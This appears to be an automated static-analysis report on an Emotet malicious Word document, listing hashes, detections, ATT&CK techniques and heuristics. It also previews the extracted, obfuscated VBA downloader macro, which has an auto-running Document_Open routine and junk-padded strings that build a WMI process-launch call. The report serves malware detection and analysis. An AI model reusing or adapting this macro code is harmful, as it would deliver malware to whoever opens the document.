Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 cab8d3a9961fc9e3…

MALICIOUS

Office (OLE)

171.6 KB Created: 2020-09-01 21:29:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 5ead17f072bee3c43c57c8fce6239e28 SHA-1: aaf0b9a298a7b937fec7505706a80318443efbc6 SHA-256: cab8d3a9961fc9e30ad635e443987045294b84295c1eaa8972a621d4b869e798
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample was detected as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-9635966-0', indicating a known Emotet downloader variant. The presence of a Document_Open VBA macro and a CreateObject call strongly suggests the execution of malicious code upon opening the document. The VBA code is heavily obfuscated, but the overall pattern points to a downloader designed to fetch and execute further malicious content.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9635966-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9635966-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14899 bytes
SHA-256: a6181291f3e3e372dea270706d4f4785a11dcdd2e5a726e9320242d1639b5483
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Itmy7u5ohp1nd8tix"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Rprtx6ii7ot2h41.Ga9xguw76zes4bp4gl
End Sub


Attribute VB_Name = "Rprtx6ii7ot2h41"
Attribute VB_Base = "0{7E84C1CE-C45B-41A3-871A-B74CA15B0FA6}{585352C8-6A83-430C-A00B-3F9BD5B33558}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ga9xguw76zes4bp4gl()
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Kutapfuekhjbypzqr = 100
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
N_mszykwybfrcifjw = ChrW(Kutapfuekhjbypzqr + (dccc + 5 + fbbf + 10))
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Exua5zb0jd8x = "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2i34nnx)))) 9(((hwiqi ()()hnwjc2nm34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2gm34nnx)))) 9(((hwiqi ()()hnwjc2t34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2" + N_mszykwybfrcifjw + "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2:34nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2in34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2334nnx)))) 9(((hwiqi ()()hnwjc2234nnx)))) 9(((hwiqi ()()hnwjc2_34nnx)))) 9(((hwiqi ()()hnwjc2" + Rprtx6ii7ot2h41.Gnfjo7df8ed1a2l8c + "34nnx)))) 9(((hwiqi ()()hnwjc2ro34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2ce34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2"
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Mn50fip5beyb7lsed = Xvgcr_aww0d7r4dur4(Exua5zb0jd8x)
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
     
... (truncated)